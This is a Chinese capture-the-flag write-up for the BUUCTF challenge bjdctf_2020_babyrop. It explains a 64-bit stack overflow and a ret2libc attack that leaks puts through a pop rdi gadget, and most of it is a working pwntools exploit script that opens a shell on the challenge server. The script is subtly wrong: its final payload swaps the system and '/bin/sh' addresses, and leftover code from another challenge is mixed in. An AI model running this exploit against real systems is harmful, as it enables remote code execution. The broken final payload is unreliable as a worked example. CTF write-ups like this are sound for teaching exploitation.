buuctf pwn bjdctf_2020_babyrop



老规矩先来一套

ida查看代码

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Pull up your sword and tell me u story!");
  return read(0, buf, 0x64uLL);
}

又是一个三五泄露libc题目,不过这次是64位

利用思路:
利用puts函数去泄露libc版本(一定是使用程序里已经调用过的函数才可以)
计算偏移量,算出程序里的system函数和字符串“/bin/sh”的地址
利用溢出漏洞,构造rop,获取shell

那么首先构造溢出函数去泄露libc
payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

64位程序在传参的时候需要用到寄存器
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
我们找一下设置rdi寄存器的指令

ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"

利用rdi寄存器来传递参数+plt和got+返回main

其次都是正常流程
注意接收libc时是64

puts_addr=u64(r.recv(6).ljust(8,'\x00'))

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'


r = remote("node4.buuoj.cn", 29681)
# r = process("./pwn2_sctf_2016")
elf = ELF("bjdctf_2020_babyrop")

#system_addr=elf.sym['system']
# printf_plt = elf.plt['printf']
# printf_got = elf.got['printf']
#start = elf.sym['_start']
# r.recvline()    
#printf_addr = u32(r.recv(4))
# log.success("printf addr => {}".format(hex(printf_addr)))
# libc = LibcSearcher("printf", printf_addr)
# base = printf_addr - libc.dump("printf")
# system = base + libc.dump("system")
# binsh = base + libc.dump("str_bin_sh")
#system = printf_addr 	-0xe6e0
#binsh = printf_addr	    +0x11000b
#payload1 = flat([ 'a'*(0x2c+4), system, start, binsh ])
#r.sendlineafter("How many bytes do you want me to read?", "-1")
#r.sendlineafter("of data!", payload1).decode('unicode_escape')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
pop_rdi=0x400733
payload='a'*(0x20+8)+p64(pop_rdi).decode('unicode_escape')+p64(puts_got).decode('unicode_escape')+p64(puts_plt).decode('unicode_escape')+p64(main).decode('unicode_escape')

r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))

libc=LibcSearcher('puts',puts_addr)

offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload='a'*(0x20+8)+p64(pop_rdi).decode('unicode_escape')+p64(system).decode('unicode_escape')+p64(bin_sh).decode('unicode_escape')
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)

r.interactive()